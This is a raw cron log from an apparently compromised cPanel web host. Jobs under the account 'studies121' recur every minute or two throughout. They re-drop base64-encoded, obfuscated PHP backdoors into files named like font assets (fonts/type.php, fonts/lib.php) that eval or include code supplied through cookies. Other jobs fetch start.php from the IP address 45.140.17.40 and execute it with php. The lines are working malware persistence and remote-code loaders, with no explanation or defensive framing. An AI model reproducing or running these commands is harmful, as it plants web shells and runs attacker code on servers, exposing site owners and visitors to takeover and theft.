Sep 10 00:21:01 ip-184-168-122-23 CROND[3309]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 00:21:01 ip-184-168-122-23 CROND[3311]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 00:21:01 ip-184-168-122-23 CROND[3312]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 00:21:01 ip-184-168-122-23 CROND[3315]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 00:22:02 ip-184-168-122-23 CROND[3392]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 00:22:02 ip-184-168-122-23 CROND[3393]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 10 00:22:02 ip-184-168-122-23 CROND[3396]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 00:22:02 ip-184-168-122-23 CROND[3399]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 00:22:02 ip-184-168-122-23 CROND[3398]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 00:23:01 ip-184-168-122-23 CROND[3575]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 00:23:01 ip-184-168-122-23 CROND[3578]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 00:23:01 ip-184-168-122-23 CROND[3577]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 00:23:01 ip-184-168-122-23 CROND[3576]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 00:24:01 ip-184-168-122-23 CROND[3683]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 10 00:24:01 ip-184-168-122-23 CROND[3685]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 00:24:01 ip-184-168-122-23 CROND[3688]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 00:24:01 ip-184-168-122-23 CROND[3687]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 00:24:01 ip-184-168-122-23 CROND[3686]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 00:25:01 ip-184-168-122-23 CROND[3789]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 00:25:01 ip-184-168-122-23 CROND[3790]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 00:25:01 ip-184-168-122-23 CROND[3791]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 00:25:01 ip-184-168-122-23 CROND[3792]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 10 00:25:01 ip-184-168-122-23 CROND[3794]: (root) CMD (/usr/local/cpanel/bin/mysqluserstore >/dev/null 2>&1)
Sep 10 00:25:01 ip-184-168-122-23 CROND[3798]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 00:25:01 ip-184-168-122-23 CROND[3799]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 10 00:26:01 ip-184-168-122-23 CROND[3887]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 00:26:01 ip-184-168-122-23 CROND[3889]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 00:26:01 ip-184-168-122-23 CROND[3890]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 10 00:26:01 ip-184-168-122-23 CROND[3891]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 00:26:01 ip-184-168-122-23 CROND[3893]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 00:27:01 ip-184-168-122-23 CROND[3985]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 00:27:01 ip-184-168-122-23 CROND[3987]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 00:27:01 ip-184-168-122-23 CROND[3988]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 00:27:01 ip-184-168-122-23 CROND[3990]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 00:28:01 ip-184-168-122-23 CROND[4165]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 00:28:01 ip-184-168-122-23 CROND[4169]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 00:28:01 ip-184-168-122-23 CROND[4166]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 10 00:28:01 ip-184-168-122-23 CROND[4168]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 00:28:01 ip-184-168-122-23 CROND[4167]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 00:29:01 ip-184-168-122-23 CROND[4264]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 00:29:01 ip-184-168-122-23 CROND[4266]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 00:29:01 ip-184-168-122-23 CROND[4265]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 00:29:01 ip-184-168-122-23 CROND[4267]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 00:30:01 ip-184-168-122-23 CROND[4366]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 10 00:30:01 ip-184-168-122-23 CROND[4368]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/scripts/update_db_cache && /usr/local/cpanel/scripts/update_db_cache)
Sep 10 00:30:01 ip-184-168-122-23 CROND[4373]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 00:30:01 ip-184-168-122-23 CROND[4375]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 00:30:02 ip-184-168-122-23 CROND[4379]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 00:30:02 ip-184-168-122-23 CROND[4378]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 00:30:02 ip-184-168-122-23 CROND[4380]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 10 00:30:02 ip-184-168-122-23 CROND[4381]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 10 00:30:02 ip-184-168-122-23 CROND[4382]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 10 00:31:01 ip-184-168-122-23 CROND[4469]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 00:31:01 ip-184-168-122-23 CROND[4472]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 00:31:01 ip-184-168-122-23 CROND[4473]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 00:31:01 ip-184-168-122-23 CROND[4471]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep 10 00:31:01 ip-184-168-122-23 CROND[4474]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 00:32:01 ip-184-168-122-23 CROND[4569]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 00:32:01 ip-184-168-122-23 CROND[4570]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 00:32:01 ip-184-168-122-23 CROND[4573]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 00:32:01 ip-184-168-122-23 CROND[4574]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 00:32:01 ip-184-168-122-23 CROND[4575]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
